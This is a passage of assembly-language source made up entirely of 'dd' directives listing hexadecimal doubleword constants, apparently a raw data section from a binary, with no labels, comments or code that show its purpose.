dd 0FD2E3B31h, 62AFF4E4h, 24D35703h, 0BD1BECA5h, 0C44430FAh
dd 2CF23168h, 7E78FB0Bh, 0D2B25F77h, 205F4C41h, 0B8004A52h
dd 719A6FF6h, 2FEC7D05h, 0C95C94B4h, 4DEF8101h, 4C81B66Eh
dd 537F1ACFh, 33F7F028h, 4ED02C18h, 2BD3090Ch, 0A654630Bh
dd 644A4269h, 2E49E901h, 66E7722Ah, 0AE4E865Ch, 0DDFE13D1h
dd 3B22F549h, 74AFEA16h, 0B9E3BB11h, 40EADD10h, 0AF935F2h
dd 0EEE3DF13h, 0FEA88031h, 9502372Bh, 0F0CAE199h, 511352CCh
dd 9A0C84B5h, 91C375C7h, 0D0044B6Fh, 9601165Fh, 0A77BA6B8h
dd 443DDF20h, 0FE05C62Ah, 29653C09h, 1241C4ABh, 0EF23D108h
dd 0F5639632h, 0DFFB7724h, 0A81F1082h, 0BBDA8913h, 5AD71560h
dd 0E74535E9h, 173CF820h, 0BFAC97h, 100DC20Dh, 0E92F3A40h
dd 56230BA0h, 677F70FAh, 0FCBADBC0h, 34DCE39h, 243E281h
dd 0EAB00C66h, 0A32E13E1h, 1F1EE24Bh, 806492CFh, 0B171CFC9h
dd 0C5E9100Fh, 0EDBB0394h, 0D13F524Dh, 286A6909h, 5C419E06h
dd 301A8040h, 29450F67h, 0C0C55FF8h, 0C1DCA81Fh, 0F02862B6h
dd 0DC8C123Bh, 0A2F293Dh, 193CFB01h, 7EDC67D3h, 300D1980h
dd 1299036Dh, 540D0F7h, 9F4CA6B8h, 573A4297h, 0FA5DDF05h
dd 517B098Eh, 6C203EC3h, 8055966Ah, 1ADF3764h, 0F990F929h
dd 765F0881h, 7A464EDDh, 43BCA25h, 5F5783C2h, 275C168h
dd 1CE07A53h, 0FF17007Dh, 6164BA28h, 294167D5h, 3505B900h
dd 450CD6E9h, 1495906h, 107C65BFh, 2DEFF856h, 96C35F82h
dd 259C5000h, 0ED813B88h, 0B81F0CF9h, 9A1A562Eh, 7A8D6800h
dd 0DE115CBEh, 71F09F39h, 800EEC98h, 0DE75822Fh, 2C650D7Bh
dd 0DFC10C20h, 5D2122F9h, 6094D160h, 0E5C1D19Ch, 0E44D3DB1h
dd 7DEF4BCBh, 0CD0A34FEh, 0E34072B0h, 53C5A101h, 9F076FE4h
dd 7F2DBB46h, 0EB0D4841h, 0DC0802DEh, 3D6D6879h, 0E880A051h
dd 2110CF7Bh, 56A0CBF3h, 65A008F0h, 5A134BC5h, 44AE410Ah
dd 4EF94CAFh, 0EF4242F2h, 508E11Ch, 0D0015B00h, 0EDA05164h
dd 4D8C031Fh, 0F089294Ah, 0E907412Dh, 58DF801Eh, 0FD4F0735h
dd 68561605h, 88F77065h, 794CC423h, 0AEEB3DFDh, 71168EDEh
dd 0BB164DF3h, 0ED1A2956h, 3E386502h, 0C23F227Dh, 0DED367ECh
dd 63626885h, 0BC5089E3h, 50C2EB7h, 2EF09DFh, 53806771h
dd 3C19E2BBh, 8CE1BD61h, 9FC47FEh, 8B35A000h, 3D7EAC3Fh
dd 0E0B59F92h, 9A0C0E43h, 0B248B743h, 0FA2E8BDCh, 0AC292C2Dh
dd 13A5E961h, 773B0332h, 2D7B9E3Fh, 3B7CEFE0h, 84B6840h
dd 853D001h, 0EB938349h, 1C7E39C9h, 0A2CC52C0h, 0FD4A26ECh
dd 0EB85A6E2h, 0F3F55A25h, 5BBB9F23h, 54E6BFF8h, 0B342AE4Fh
dd 5D37272Eh, 0AD51CE61h, 0AD0F61BEh, 92AF11D9h, 74ED395Eh
dd 243588F9h, 90D88420h, 0F4C82DE0h, 0E9D86EF4h, 0F7CB6BDh
dd 80EEE3C0h, 0F361466Eh, 59D82897h, 859FFD8Ah, 0E1D2E914h
dd 0AD96D2A9h, 3E1504FCh, 6006EA0h, 1E26572Dh, 0F4E9DB9Ch
dd 392825Ah, 0B9628CD8h, 0A85D9DA5h, 27FD9EB7h, 0ECE6681Fh
dd 0DA1D958Ah, 8053DBA5h
dd 51354368h, 2CF9E963h, 69E14EE2h, 0B572B0F4h, 2827B1E6h
dd 5182CB88h, 312B47FAh, 24A6A07Fh, 1635382h, 1B4D9ADh
dd 70F0CA8Fh, 71836A7Dh, 0F698E729h, 0FB2F7F7Ch, 0AF386501h
dd 83E1AAA9h, 0E8FAE28Dh, 1A5D5E2Eh, 29A1F012h, 627C4220h
dd 57F47FCBh, 4FEA46D7h, 0E9A0C1D8h, 0B9192414h, 0B20C5C04h
dd 85AB211Ah, 5780BB89h, 0CB1658E9h, 0F1EB68BCh, 8730C5FDh
dd 0EE579C63h, 1B2FDEEh, 0ABB15105h, 2AFC2304h, 5388BE74h
dd 61EBBFDBh, 41D7F883h, 6A10A3E9h, 0C860769Dh, 82B89EF1h
dd 35207440h, 4F027C40h, 0F416572Fh, 8E894932h, 4CFF0975h
dd 0EA07D816h, 0C8C90749h, 69B2795Fh, 0BFB6BC57h, 0E9853379h
dd 0E6F82AC1h, 0A7B142D3h, 2DF20106h, 6AA8525Fh, 0C23182B5h
dd 2582217Eh, 7705DD1Bh, 0EA4FFCCCh, 0EBD1C000h, 1842E381h
dd 0C7AB317h, 6D041D5Dh, 0DC3E92Dh, 4A78F2E2h, 0F2D5843Bh
dd 30A097EEh, 5F0C2068h, 9DBE927h, 4EC155BBh, 2847EB1h
dd 0FAFB2CFBh, 6F28CCA9h, 151312A3h, 0D657A39Dh, 0EED023BDh
dd 585C5320h, 65180026h, 0F181088Bh, 10DCB1Ch, 68589BFEh
dd 5C094870h, 3A1854C9h, 7A9730B6h, 80E2FA37h, 513BDBBh
dd 74B14F92h, 0B7EE1B41h, 0BD01FEDCh, 0E3751432h, 25D184E5h
dd 302A62EEh, 0A3696355h, 198F2F50h, 0B46A9441h, 220584C0h
dd 0F301C937h, 0EBB03FB8h, 0C1240851h, 6A196072h, 306901FBh
dd 5D9B2A7Bh, 34A1B8C0h, 0E7F06F9h, 0BB9E51D5h, 9716CE25h
dd 1191AEC5h, 800134EFh, 86018F0Ah, 5584314h, 435E2406h
dd 0BC5C70AFh, 0BDDE2D7Ch, 96CFE0CCh, 17591767h, 65CAC3Bh
dd 6F4927F0h, 3E1C3EF0h, 0DFFE24AFh, 44EB8320h, 76AD80BCh
dd 3116373Fh, 8356ABE9h, 0AB4BBB8Ah, 0BA600A6Dh, 0CA264DAEh
dd 0C45528Fh, 7E6DA4FFh, 13183600h, 5ED4BD55h, 215A2E48h
dd 267F93A5h, 5B953CD1h, 0FED3C99Eh, 1121EB09h, 0CB3F87E3h
dd 85521219h, 0F7583F62h, 0EA56BF05h, 0DEF5E337h, 0E9F3D9C0h
dd 20605B78h, 0F0215D5Eh, 85D73B5h, 800731EDh, 0C304C8EBh
dd 0F69A98C0h, 4F70FED1h, 23F74216h, 0BBE019AEh, 0C62D840Fh
dd 55496285h, 35623C0h, 7B5E222Dh, 21EA0560h, 1F6AD0EDh
dd 0F5A414Ah, 0E9097CFCh, 5C5ADDF6h, 68331530h, 14996855h
dd 0A73CB87Ah, 191DC91Bh, 9B5ED1B1h, 0CA32420Ch, 295B03D7h
dd 5A5BD5AEh, 449946E7h, 0A7BC0476h, 0F6596A13h, 684FD86Eh
dd 0EC224BE2h, 7337E105h, 1EBDB22Fh, 7E04E5C1h, 57A45A4Bh
dd 89C360CCh, 0CD233AF7h, 12D757Bh, 0A097EC45h, 4A5C1C26h
dd 51C887EEh, 2A13AF7Ah, 97D14DE0h, 75B10B40h, 0E9FD8306h
dd 0EC59E016h, 315F18A9h, 60A30C39h, 219B6912h, 0E9A72CEFh
dd 6418B02Fh, 0CB76C0B2h, 455A176Dh, 68535212h, 20516F05h
dd 0C0EB1FEFh, 0E9099FF3h, 8B939DD4h, 32720501h, 102E49CCh
dd 0A65E07F1h, 0D75728E9h, 9D957F20h, 39137B54h, 0FECB80A4h
dd 0BCF94E96h, 8B82C61Fh, 53F2C3DDh, 0F5B0137Eh, 4827DA66h
dd 2042B60h, 0C40B3669h, 0C9959973h, 0ADC96F0Ah, 6ED499A0h
dd 0E3FA7E34h, 8F1BA295h, 6695D40Dh, 912B156h, 3FA5EF3h
dd 74B761F2h, 705FEE5h, 63BF5C30h, 4FA6AA70h, 7B0C8C25h
dd 0B8500E83h, 0C2F81025h, 0A576D2Eh, 0E7AF3345h, 0AE1534FAh
dd 4E9DC298h, 0F90631E7h, 6FF7D98h, 747923D3h, 7F3209AAh
dd 0F2217D1Fh, 88590368h, 1462B43h, 0E26064BFh, 0CB5B287Eh
dd 0B797D05Bh, 2305C500h, 0B3B671D4h, 41DF2639h, 0F6A6543Bh
dd 0ED5BD00Fh, 5DBA416Fh, 83416B78h, 44A4F2B8h, 350BEE6Eh
dd 53025E68h, 388DBBCh, 0F8792556h, 0F4A8CB97h, 0AFD1F712h
dd 62E9AC41h, 0C87EE7B2h, 0F64066FEh, 0EFB14E68h, 31267530h
dd 0FC4F4EF0h, 5E90A48h, 0DA1870A6h, 39CF8034h, 0FF5FE04h
dd 0FA20CDF7h, 0E609AFD7h, 0C13FD274h, 5E3795BAh, 0F241CB61h
dd 0DC462A07h, 0EDED7E3Ch, 0C9CD5E2Eh, 4874E2C8h, 3A0898C2h
dd 0E80EC32h, 34165E59h, 8541D998h, 48CB86Ah, 5F168A2h
dd 3F2ABF57h, 829DFC4Bh, 5D7A23E9h, 475127CEh, 92BC2EB6h
dd 0D9CAE1h, 2CF4632Dh, 3D11EC0Dh, 731E3141h, 87B45F0Dh
dd 29EE5592h, 31A6D97Bh, 76D3EDA7h, 6CA10366h, 0B05B76EAh
dd 72584EBBh, 0FCF39F1Fh, 80DCD0A5h, 304FD194h, 5E8074BAh
dd 24021825h, 43E96E0Dh, 70B5B8D0h, 167BB760h, 7F078D26h
dd 439F450h, 0F6EAF8D2h, 0C5E982B7h, 0E8B24955h, 0E6485EDDh
dd 0CF7FA601h, 588BC512h, 0A513D359h, 3E42AE8Dh, 480550F6h
dd 0E43F6158h, 0C2ED0041h, 0DA255C9Eh, 0A61B771Ah, 0A0688C09h
dd 8A14770Fh, 2DABDB97h, 7B12230h, 0E3660158h, 0A7314C5Ch
dd 0E583904Ah, 0DD26222Dh, 9201AC0Ch, 0E93D1636h, 0C324A0C5h
dd 431B9DC2h, 0A0D1B05Eh, 0D47FB7E9h, 2FC7AB36h, 23A26841h
dd 0E91AB529h, 0E90923A6h, 4D73E371h, 0B092D7C9h, 0A42C72BEh
dd 618AD50h, 2C33E1B8h, 922DBAh, 2918113Eh, 7A4BD6E9h
dd 1880E4D4h, 3B3F44C9h, 97F73AEh, 460FAA77h, 1D5C1EABh
dd 5302A228h, 0E9269717h, 9825814h, 672C685Fh, 586B6879h
dd 265D8791h, 44131834h, 250ECE81h, 0C045CB4Bh, 0FFFB7BEEh
dd 0B0F1FCFDh, 0AC6AD21Ch, 0D1BEB498h, 3EC5A95Bh, 4659B52Bh
dd 28538D05h, 0E4968064h, 0D7E6117h, 63E9EF12h, 0F066C9C3h
dd 0EBCEBBF2h, 128F182Bh, 19612CF5h, 4DFAEB0Ah, 3EA3C303h
dd 1BD629FBh, 242CE2F9h, 0C9C44AE9h, 3258C0F0h, 0D0BF5097h
dd 0DA50082Ch, 0B4280B75h, 0A009296Ch, 96FE955Dh, 0EA60EE5Ch
dd 304653C3h, 895C3B2Ch, 445BCB21h, 4C1756B0h, 64837EC6h
dd 89FA2D6Bh, 0C8D30009h, 9667232Eh, 0DE863D90h, 107F2557h
dd 40F8E927h, 5FDD3057h, 1986815Bh, 7512DE08h, 72EDE923h
dd 0D864F599h, 5001C7CDh, 0C0FEE1B0h, 0A16B420Ch, 505E792Fh
dd 48120747h, 0AD9714F9h, 500461C4h, 0F1A6995Bh, 0E96B84DFh
dd 2DEA305Dh, 29F83AFBh, 0FC120DCBh, 0A27E7CC2h, 6FD0C3C5h
dd 3D6E63BEh, 0B271E53h, 3345250Bh, 1384508Eh, 0D44D98BBh
dd 3341E55Bh, 0C0A68736h, 0EE1F907Ah, 28F0158Ah, 0F972319Ch
dd 9C5CAF7Bh, 4FD6A70Ch, 1A7D13EAh, 6DD4AADEh, 390C0818h
dd 6E5B1606h, 5E788C5Dh, 3196749Bh, 0D185EBBCh, 0CD2D00F4h
dd 5071AAF6h, 1D75259h, 45D33B1Dh, 6453558h, 925AEBF0h
dd 41E97EDFh, 0A0D4E779h, 0F28A678h, 5D7F9C81h, 5F834396h
dd 0D4292C4Ah, 80023EC2h, 0A14F60CFh, 0B9F9025h, 0DF945C8h
dd 2D01D1F8h, 0CD31806Fh, 163B90E9h, 57DD6126h, 408C2E87h
dd 8DF417ECh, 0A285E4C9h, 3F2E1E16h, 0AC810665h, 62CC1711h
dd 5EA09C1h, 0E8F860E9h, 0AF176D97h, 8692A9F3h, 0BD2C6E85h
dd 0DFE98033h, 408AF855h, 7863A6DEh, 9A61648h, 8FE92AFDh
dd 75D1B291h, 0AB605EF1h, 0D31B2646h, 622C8289h, 4DF02A6Ah
dd 7D08EF51h, 82CF8BD0h, 55C7008h, 0FBD1C458h, 0FE563B8Ch
dd 0E51C4DD7h, 54C0E227h, 0E83F1D0Ch, 9EC72679h, 3F0209A4h
dd 600E7017h, 3054FB15h, 430C7D28h, 6C4CEE55h, 0E9576715h
dd 55734289h, 6859CC71h, 0F0590C42h, 0E271B5E7h, 76B4863h
dd 6186C249h, 9F0C8CC7h, 0B191AE13h, 0E90AC9BBh, 0EFB05535h
dd 0DA1DDC81h, 1175D97Bh, 821329C4h, 2A03ED55h, 5FFB70FFh
dd 0B7C5ECA7h, 79D813D2h, 0F79307A2h, 870530DBh, 53506902h
dd 4116069Fh, 0AE811FFBh
dd 8842C201h, 0BDB0D3F4h, 17BC409Ah, 0D952EB7Ch, 17069AD6h
dd 0E11DD702h, 0C01092FFh, 953B2673h, 0FA9404EEh, 31AEB008h
dd 480CD026h, 7B27579Fh, 8054742Ch, 0DCEE11F2h, 0D15B898Eh
dd 798538F9h, 0D04FD0E5h, 7B137305h, 88722E25h, 95B65055h
dd 5309D7FCh, 25ED6673h, 173E370h, 680D21ADh, 56284CE5h
dd 0ED6D4DC5h, 0B40C1249h, 4E104FA3h, 12573FF5h, 19ED45A5h
dd 0B453FC7Bh, 148A0BD2h, 0F7C22918h, 1C6B3056h, 4A3836BAh
dd 0AEF4E1E8h, 5D13C2F6h, 1AB2A351h, 571CB028h, 7E96C0F3h
dd 0D9F696C1h, 8193E120h, 20F2B58h, 0C3B68599h, 0E392D0EAh
dd 600B9E72h, 0D5D931E9h, 0E216669Bh, 0A289F414h, 0C49FA37Eh
dd 500EDA4Dh, 0AFCD1BC5h, 595AC549h, 0F158E4Eh, 9074402Bh
dd 0E9F82902h, 62BD9202h, 0C4627772h, 203FE6D6h, 0D5F71F81h
dd 252E687h, 1C0D19B9h, 0E13A5570h, 70E0A507h, 0C89FA010h
dd 7D020D39h, 2ECD501h, 6E7D5A08h, 67E927C9h, 617FAEE2h
dd 0C56E82A2h, 7BCBBB59h, 5BEBA093h, 0C9CDE92Dh, 9C02D309h
dd 235436C1h, 25D05C95h, 201B1959h, 4302463Ah, 0D84CE7C4h
dd 4FF604FDh, 63E02B21h, 0CBC24E89h, 77C116EDh, 2F2A25F3h
dd 80295AB5h, 0A2724688h, 0B18C0F64h, 12A185ACh, 41E90008h
dd 0EA21C71Ch, 7909C0C9h, 60443A68h, 5B9840BFh, 0DF8AE09Fh
dd 0C41AE413h, 8C8BE4DCh, 68125E8Dh, 17354C0Bh, 60AD9F10h
dd 0B1C8EF61h, 207F7B47h, 3506A72Bh, 2C700ED6h, 419C41AAh
dd 0C253FF6Eh, 0E5645955h, 73E2AF66h, 89F6E90Bh, 9DC1531Bh
dd 0E7276423h, 3CB6044Fh, 260262Ch, 8D8E949h, 0F138CE89h
dd 39F71546h, 0CB2988B1h, 0EAC24671h, 675F098Bh, 3BE90939h
dd 7B701DABh, 83D21020h, 0ECFF1FDh, 0F6F37FC2h, 4A865518h
dd 759C2D4Dh, 0DB8BA8D4h, 41F49A7Dh, 0E23FD390h, 8055DF88h
dd 0E1D11D84h, 655516CDh, 0C8208A61h, 210E95C8h, 4999AED6h
dd 5A21D32Eh, 6869E8EEh, 69C77E40h, 0E8A63876h, 590D725h
dd 0D94F4BE9h, 3067A620h, 40545F5h, 43B4EA07h, 3987645Fh
dd 5D55D2CBh, 80D5C5F7h, 66736852h, 5A0769F3h, 1055E281h
dd 93C36B45h, 6062604h, 2610513h, 82C1EBE3h, 3714257h
dd 0FD79246Eh, 44A85E76h, 0EE32C073h, 461A605Fh, 6023E92Fh
dd 1EF580D4h, 97A12C7Ch, 5CBFB030h, 2DF0213Ch, 480A5283h
dd 0E33DF6C4h, 5C114419h, 0A75AD8BEh, 749A31F0h, 6AF6F97Fh
dd 30D8D982h, 0C90DC08Ch, 0DD011414h, 0E90840DDh, 6BB1364Bh
dd 0DF0FB23Ah, 1279D5CEh, 0FCD8CFAh, 1766B758h, 1DF34034h
dd 11DD4518h, 50CF53CBh, 3895A4FCh, 0E95D5820h, 0ADAC694Eh
dd 3CB9BF81h, 0C154218Eh, 4BB2DC2h, 76116E90h, 419117EBh
dd 0B252A363h, 4BC92E7Bh, 68C49B39h, 0E934D15Bh, 723CA1h
dd 8B0574BFh, 39C78367h, 0C3858101h, 91FFC054h, 1E8BC0Eh
dd 0A270D531h, 5F6BF4EAh, 0D2DCB9E0h, 7E45CAAAh, 0E922C2E1h
dd 574948AEh, 4D011268h, 6F0DEF92h, 0DFC2AC6Eh, 47523D11h
dd 91FCDB99h, 42FFFC69h, 7CE6D036h, 27DF6817h, 3247D260h
dd 2AE09541h, 4D317107h, 5882CD6Fh, 87E0746Ah, 74F4A2h
dd 0F92015B7h, 0D05B0B66h, 0F10E80E1h, 4159CB27h, 0E2EF68C3h
dd 18E7A1A2h, 5D3F703h, 394CA5ECh, 2F5BE11Bh, 971CFFCCh
dd 520D56h, 99346FE5h, 0E240BF3Ah, 285CC118h, 0DA052593h
dd 0C602635h, 6DB18084h, 6689F180h, 0FFA61AC4h, 0BECD2CFCh
dd 0D6D0939Bh, 855C6B49h, 32A8A371h, 5317B1C4h, 551ACCAEh
dd 1F332CC8h, 0BA301768h, 16DDED38h, 285947E9h, 0CA598968h
dd 5A95F08h, 17D46CF2h, 0BB36FF25h, 5CEB4754h, 33B75302h
dd 5793E780h, 0AEF741C0h, 94D06CEh, 0CB8ADDFCh, 7DF440D4h
dd 0A6B03C3Ah, 9F09A103h, 40C2012Ch, 95580884h, 0B803527Bh
dd 0FC3BF42Bh, 4A2DCBB8h, 0EFC06902h, 0F1339360h, 0D92E5B81h
dd 86FC0089h, 750C8F47h, 264B06E9h, 97409BAh, 488B0701h
dd 905D798Bh, 9FFE94DCh, 0C324EDDBh, 0E150B310h, 0F2800BBAh
dd 0A1C02891h, 1812054h, 0C8571741h, 0E14213AFh, 0F4ADAD7Ch
dd 690C07F4h, 1B909CABh, 97EF0481h, 0BB604ABh, 52CCC713h
dd 9F541165h, 56FA08A0h, 255E8097h, 4C847921h, 0A51CFB61h
dd 5A304239h, 0A353D009h, 33D7E08h, 642886B4h, 5C0CA910h
dd 9EF78100h, 57778B1Ch, 595F511Eh, 0CF87D140h, 0B9070868h
dd 0AAEAAC57h, 283E95D0h, 98D8842Fh, 5856C83Eh, 0D316920Bh
dd 0ED1F4586h, 7A1D824Dh, 0EF46C371h, 0AB6975A6h, 0A720C140h
dd 0F70BFD29h, 5201F13Ah, 2CA068D5h, 0C5E9C250h, 4E145578h
dd 4682CB2Fh, 88EA9512h, 3EB5DA5Dh, 29A2420Ah, 890C28D0h
dd 2FDDDE51h, 47990500h, 17983D35h, 16A73Ch, 55BA5211h
dd 0B72D8D62h, 0ACC19EF8h, 2BA22C38h, 0F307302Ch, 6052E30Ah
dd 65373F5h, 611C205Ah, 58CFFCE7h, 4BF40B05h, 0FB8365Bh
dd 2FE90740h, 0A47EC46Ah, 32E08464h, 53723868h, 7261AF4Ah
dd 757EE752h, 0F42CABA0h, 295861A7h, 0D379DBE7h, 31EF9200h
dd 50FA5717h, 0C2F84E89h, 4F605FB6h, 44BFF628h, 53085AFAh
dd 5C80A055h, 0F58F2095h, 9A53572h, 5DEF316Ch, 54C0B8Ah
dd 0C5486AEBh, 4DF791F5h, 555A020Dh, 4FF5E722h, 1DFCDA6Ah
dd 3EA3CA01h, 0F52062D9h, 48BD98B2h, 5204BA6Ch, 0EF71AF5Bh
dd 817F194h, 8A662CBEh, 0BE5ED74Eh, 0AAF0E7h, 3028C780h
dd 64685BF9h, 0D3616558h, 0D5CEC1BAh, 0D3B17C63h, 3F7FC3B8h
dd 0FBA55055h, 4CFD2762h, 0D2973650h, 68132A16h, 0C08C1FFDh
dd 20AB9403h, 26D909BAh, 2FF5BADh, 0FDF9EFCBh, 5B51961Ch
dd 77D3CBDh, 0FE59EC08h, 0A7CC80F3h, 1DFB3ED3h, 0CBC18838h
dd 6E1073C3h, 0EA0F6D7Dh, 0A9CA310Fh, 80C57EDCh, 61DF22C6h
dd 69B689A0h, 48F9E98Bh, 1EC3BB83h, 0C97FB07Eh, 995DF0A3h
dd 0C23E9DAEh, 79573369h, 0CC2A4320h, 0CE872C4Bh, 0D7907682h
dd 59697AFh, 1F282D23h, 8D5A8BB9h, 1698B579h, 1D535781h
dd 5F5523BBh, 85DFDF2Fh, 0A501121Dh, 59F7008Bh, 6F765853h
dd 13C8F23Ah, 0D8A01E28h, 5ED2DE9h, 0DA4C71F2h, 5BD42013h
dd 0CC1FB129h, 745FB444h, 31B256ACh, 0E912A2C4h, 30CCACFCh
dd 61D641AAh, 738678C2h, 7B30DC0Fh, 0AA32E40Dh, 1328BB88h
dd 0FB337AA6h, 40BC5817h, 0D9F18377h, 5FCC9303h, 4CF14827h
dd 6C2812C6h, 4E81784h, 0FDC05350h, 7D5B6E19h, 0DD6AB522h
dd 238B8200h, 0CEA40AB1h, 7C0E8027h, 12FE628Fh, 3E330500h
dd 38597ABAh, 0AB5B0CDBh, 0CB4EDC61h, 6EF25781h, 6C21E43Ch
dd 3A824FBAh, 5EFC49A8h, 1118F6Eh, 47685052h, 0FF418D0Fh
dd 0DA74335h, 0D6016DC0h, 432659B3h, 5A009626h, 0B9792048h
dd 0F5E414F8h, 891FA0FBh, 17E0B4Ah, 880A670h, 0E095495Fh
dd 655DA7Bh, 0C6E90B65h, 0C10E8F1Fh, 52F97051h, 0BFF2C916h
dd 7B5751A2h, 51E9C20Bh, 0DD4C20DDh, 0BF0A2560h, 4BE020B3h
dd 0F50ADA9Fh, 45C52BE9h, 0D4173601h, 60DA0113h, 3F456F5Dh
dd 0CE0257CFh, 4FAF0341h, 0F7BE60D5h, 73E927DEh, 0AD7207E2h
dd 89A6BF2h, 12178BFh, 7569283Bh, 2904EBC1h, 1EE9C26Eh
dd 1F466519h, 0D12E0C57h, 50BC295h, 0F5140601h, 37686C81h
dd 579A6E74h, 0AEEBC54Ah, 0F94CFF8Fh, 521AE880h, 0E20C8140h
dd 0E46C6DECh, 19B109EAh, 20224876h, 90D50B8Ch, 81292F41h
dd 0B12C7E57h, 0C16B4002h
dd 17E0E65Ch, 0E7CEF84Fh, 1DFFBB02h, 4BE03827h, 370F095Fh
dd 1CEB015Eh, 5D5F08A8h, 293986B8h, 50EF688Ah, 0AF04BC7Ah
dd 85128D76h, 6A8407E7h, 0A75FB91Fh, 0AB407BD2h, 80C82937h
dd 3FE1D78Fh, 0B9A4E7FCh, 345B1207h, 75C5B9FCh, 533841EBh
dd 2C43B368h, 4AE4C096h, 0F2D38CCh, 0D92FCEEBh, 1DCCAAB2h
dd 9FA5BF53h, 6A63A166h, 698452A6h, 814300C9h, 147F51CBh
dd 914B0917h, 1680261Ch, 0D0101F4h, 2F2A3632h, 8139894h
dd 74678605h, 0E5660AAh, 9FB0502Dh, 6D825E4Bh, 4979825Ch
dd 0E77157FDh, 116B3C0Bh, 43A19B6h, 0EF5D593Eh, 8DF4A88Dh
dd 6A669DF8h, 0B22EB71Dh, 5BFA2880h, 4A5AD430h, 3A18BE50h
dd 8AF4F24Ch, 5F1A6456h, 4AA0253h, 0F1224C58h, 0EE03BD3Dh
dd 196D2BB1h, 2A5A31D9h, 9BAB7E56h, 0DFFC4E2Bh, 7A32E1D3h
dd 960B7404h, 0D974C3EEh, 7F11EBE9h, 1A0D6680h, 0E2DECF7h
dd 2B1556E2h, 136C61A0h, 1F05052Ah, 3153F4B3h, 0BB006BE8h
dd 1CD324A7h, 430EE381h, 0C3308A2Ah, 9A6D70F3h, 2C6B6161h
dd 34E0293Fh, 0E85BFF4Ch, 0C4C162ECh, 256B0A29h, 8E070562h
dd 0BEF1784h, 0D40AA9Dh, 0F3D31D4Ah, 8409E22h, 0F60D37E9h
dd 30D23326h, 8DA26D7h, 11CB8003h, 8426B050h, 40085FAh
dd 0BEF86F5h, 0A90D38B9h, 40C0131Ah, 0E96DA058h, 0FAEE4A2Fh
dd 0C8F920D5h, 5BDD2100h, 0C0026856h, 5AF77E75h, 62DEB9D2h
dd 0BE3DA2Ah, 39AD835Dh, 7D688B33h, 1C66170Ch, 0B3AD0123h
dd 0F21FC702h, 78DDCB80h, 0CABD2DE4h, 2D4570B6h, 173C83Eh
dd 42DA1ACh, 0A1F72CF7h, 0F355F7Dh, 0D9F45A81h, 0E46BE741h
dd 881CB52Fh, 0F31659CEh, 5618CCB2h, 0E6849ACh, 188D360Fh
dd 399B845Eh, 41C75FABh, 7F650784h, 421BF45Dh, 147EA0A8h
dd 492FA212h, 915EC7BFh, 2FD05DEBh, 40D78CB0h, 32B809DFh
dd 7E12A698h, 1F059958h, 0D6F3D442h, 58D6CC10h, 0CBCAC4D5h
dd 0EF9D74FAh, 5D0FA688h, 513B40B5h, 568C1392h, 3F7AC40h
dd 3F0573E3h, 0BFA1F103h, 3DFC84C3h, 3748F9B2h, 172F2EBFh
dd 0C106626Fh, 0F73A0795h, 6C680941h, 401BF96Dh, 31D33A6Eh
dd 35021B92h, 0E99D3704h, 85BF8E01h, 0EEC809BBh, 0F18B625Eh
dd 7B59138Ch, 0E3FB5CC4h, 52CC962Fh, 0B1C25109h, 603AE625h
dd 224C6827h, 4809C893h, 0E2607EAFh, 0F27DC231h, 59542EB6h
dd 40E95844h, 68CC3154h, 8109531h, 0F6447F39h, 0C8285691h
dd 15D3823Fh, 2B92E9E1h, 0B6D0FACCh, 1E531203h, 68162036h
dd 0D8A3157Ch, 30051377h, 137A0026h, 295E1B3Ch, 69D0EE4Ch
dd 7948FDBBh, 927DF180h, 1ABE3D35h, 0D17B919Dh, 9217B61Ah
dd 14AEC3C9h, 0D801C120h, 0E9405E31h, 34133ED3h, 1484FB90h
dd 0AC754F94h, 0B419851Eh, 301439BBh, 512455BEh, 0E10CF85Dh
dd 90E3CD89h, 2D2B416Ch, 5F5D1EDDh, 13961FD5h, 1309F788h
dd 0A0F00628h, 0A084B7C3h, 5E2CEB50h, 612E1E6Eh, 20F02C3Bh
dd 0BD585EDAh, 79B181D7h, 0DD384478h, 0CB63947Bh, 0EE06520Ch
dd 0D0D10239h, 0E7413AC4h, 72D6A02Ah, 0F847104Fh, 19850CB0h
dd 0D27ADF11h, 21039301h, 6D20341Ch, 0F8CD4FF4h, 0D54E3ABh
dd 6EBE985h, 7A52AD5Fh, 2D83A45Eh, 19D4CE8Eh, 4BF64463h
dd 0FE96B06Fh, 75067F24h, 1061210Bh, 3D25EE0Ch, 96B44408h
dd 0E8028417h, 302F5075h, 0D7320A4Fh, 3A7D00Dh, 0DF50A6BFh
dd 5FCA317Eh, 214B7179h, 644168E9h, 0E0C16D6Ch, 6F4E9536h
dd 46E22F81h, 26BF8A2Fh, 0EF123DD7h, 6B428DEEh, 0D84BFBEDh
dd 0C338809Ah, 0F2EB3AF9h, 0A74AE9EAh, 60CCCDC6h, 642D4790h
dd 8B17DC25h, 87A0C721h, 0FA5E029Ch, 9055E90Dh, 5D524554h
dd 0E91CD4CEh, 0FC6D0157h, 58514261h, 0C54A5D29h, 789746F2h
dd 0BCDB072h, 19072561h, 0B718B700h, 0E0C0FC76h, 43C44C8Dh
dd 2F8A24E9h, 2DE88176h, 6ABC1B86h, 5482FC2h, 6D910051h
dd 8127974Bh, 2667E23Bh, 0EA003549h, 0EBBFE5A3h, 5AD12F89h
dd 0FF6228DAh, 0C3DCE903h, 76AF84F7h, 29DAC3Ah, 40D08886h
dd 3E8C0A7h, 0B2526603h, 6FDF2057h, 1F76109Ah, 0E9DE8882h
dd 3A7FF075h, 0EBBFC1B5h, 0F07C59ADh, 0B7BB56C4h, 0BA95AAh
dd 73260C02h, 2C4305BAh, 3EC492D7h, 46E36789h, 5E25B9D5h
dd 86AA13Ah, 5A3EEA21h, 20E90BF8h, 104CC84Ch, 0F6390909h
dd 0B10EC631h, 501DDC8h, 5DD43829h, 0ACD39A72h, 58C2F4D7h
dd 0E964A167h, 97A0E141h, 0A9495FB9h, 0D2A38457h, 87C45B0Eh
dd 0D64DD2CFh, 3E935C4Eh, 954F8C80h, 99EE310Dh, 2900691Ah
dd 7A456CF6h, 0F8C6ABFh, 0B27CA508h, 441039B9h, 68185006h
dd 89CD663Ah, 842BCA81h, 1E806FC6h, 6F9C43A4h, 23810C41h
dd 70504E8Bh, 0EAB7FBD3h, 5705C10Fh, 29B62D00h, 8768A93Ah
dd 736AA6B2h, 274145F3h, 3C77C62Dh, 0D15627BCh, 9F799077h
dd 9D5BC258h, 16E0BC41h, 0D2070DD0h, 350B757Bh, 890C7F42h
dd 1CEFBAAh, 0BC31FB05h, 2DD0F473h, 3B5A07A1h, 9F7C15F3h
dd 0BB53B048h, 4E2F741Eh, 0E8CBE909h, 7E31EA1Fh, 5B7B7B1Eh
